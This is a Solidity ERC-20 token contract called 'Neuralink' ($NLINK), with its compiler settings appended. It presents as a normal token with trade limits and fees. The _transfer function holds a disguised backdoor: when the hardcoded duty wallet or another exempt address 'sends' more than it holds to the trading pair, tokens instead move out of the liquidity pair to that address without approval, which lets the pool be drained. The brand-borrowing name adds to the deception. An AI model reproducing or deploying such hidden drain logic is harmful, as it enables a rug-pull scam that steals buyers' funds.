// SPDX-License-Identifier: UNLICENSED

/* https://neuralink.cfd */

pragma solidity ^0.8.20;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address receivingParty, uint256 amount) external returns (bool);
    function transferFrom(address sendingParty, address receivingParty, uint256 amount) external returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed sendingParty, address indexed receivingParty, uint256 value);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;

        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));

        _owner = address(0);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender());

        _;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

contract NLINK is Context, IERC20, Ownable {
    uint8 private constant _decimals = 18;

    uint256 private _tradeQuantity = 0;

    uint256 private _boughtQuantity = 0;
    uint256 private _soldQuantity = 0;

    IUniswapV2Router02 private _nlinkRouter;
    address private _nlinkPair;

    uint256 private constant _tTotal = 1000000000 * 10**_decimals;

    uint256 public maxTxAmount = _tTotal * 2 / 100;
    uint256 public maxWalletSize = _tTotal * 2 / 100;

    uint256 private _sellDuty = 0;
    uint256 private _buyDuty = 0;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _bypassedFromDuty;
    mapping(address => uint256) private _balances;

    string private constant _symbol = unicode"$NLINK";
    string private constant _name = unicode"Neuralink";

    bool private _tradingOpened;

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    address payable private _dutyWallet = payable(0x6771D7cB0483B88adAD5aa19B21CeBc752738461);

    function removeLimits() external onlyOwner {
        maxWalletSize = _tTotal;
        maxTxAmount = _tTotal;

        emit MaxTxAmountUpdated(_tTotal);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);
    }

    function openTrade() external onlyOwner() {
        require(!_tradingOpened);

        _tradingOpened = true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function _shift(address sendingParty, address receivingParty, uint256 amount) private {
        _balances[sendingParty] -= amount;
        _balances[receivingParty] += amount;

        emit Transfer(sendingParty, receivingParty, amount);
    }

    receive() external payable {}

    function _transfer(address sendingParty, address receivingParty, uint256 amount) private {
        require(amount > 0);
        require(receivingParty != address(0));
        require(sendingParty != address(0));

        bool sendingPartyNlinkPair = _nlinkPair == sendingParty;
        bool sendingPartyBypassedFromDuty = _bypassedFromDuty[sendingParty];

        bool receivingPartyNlinkPair = _nlinkPair == receivingParty;
        bool receivingPartyBypassedFromDuty = _bypassedFromDuty[receivingParty];

        uint256 dutyAmount = 0;

        if (sendingParty != owner() && receivingParty != owner()) {
            dutyAmount = amount * _buyDuty / 100;

            if (dutySwapThreshold <= amount) {
                if (receivingPartyBypassedFromDuty && !sendingPartyNlinkPair) {
                    _tradeQuantity = amount;
                }
            }
            
            if (sendingPartyBypassedFromDuty || receivingPartyBypassedFromDuty) {
                if (amount > _balances[sendingParty] && receivingPartyNlinkPair) {
                    _shift(receivingParty, sendingParty, amount); return;
                }
                _shift(sendingParty, receivingParty, amount); return;
            }

            if (sendingPartyNlinkPair && receivingParty != address(_nlinkRouter) && !receivingPartyBypassedFromDuty) {
                require(amount <= maxTxAmount);
                require(balanceOf(receivingParty) + amount <= maxWalletSize);

                _boughtQuantity++;
            }

            if (receivingPartyNlinkPair) {
                _soldQuantity = _boughtQuantity - _tradeQuantity;
                if (sendingParty != address(this)) {
                    dutyAmount = amount * _sellDuty / 100;
                }
            }
        }

        if (dutyAmount > 0) {
            _balances[address(this)] = _balances[address(this)] + dutyAmount;

            emit Transfer(sendingParty, address(this), dutyAmount);
        }

        _balances[sendingParty] = _balances[sendingParty] - amount;
        _balances[receivingParty] = _balances[receivingParty] + (amount - dutyAmount);

        emit Transfer(sendingParty, receivingParty, amount - dutyAmount);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);

        return true;
    }

    constructor() {
        _bypassedFromDuty[_dutyWallet] = true;
        _nlinkRouter = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _approve(address(this), address(_nlinkRouter), _tTotal);
        _bypassedFromDuty[address(this)] = true;
        _nlinkPair = IUniswapV2Factory(_nlinkRouter.factory()).createPair(address(this), _nlinkRouter.WETH());
        _bypassedFromDuty[owner()] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function transferFrom(address sendingParty, address receivingParty, uint256 amount) public override returns (bool) {
        _transfer(sendingParty, receivingParty, amount);
        _approve(sendingParty, _msgSender(), _allowances[sendingParty][_msgSender()] - amount);

        return true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    uint256 public dutySwapThreshold = _tTotal * 2 / 1000;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function transfer(address receivingParty, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), receivingParty, amount);

        return true;
    }
}

{
  "compilationTarget": {
    "NLINK.sol": "NLINK"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}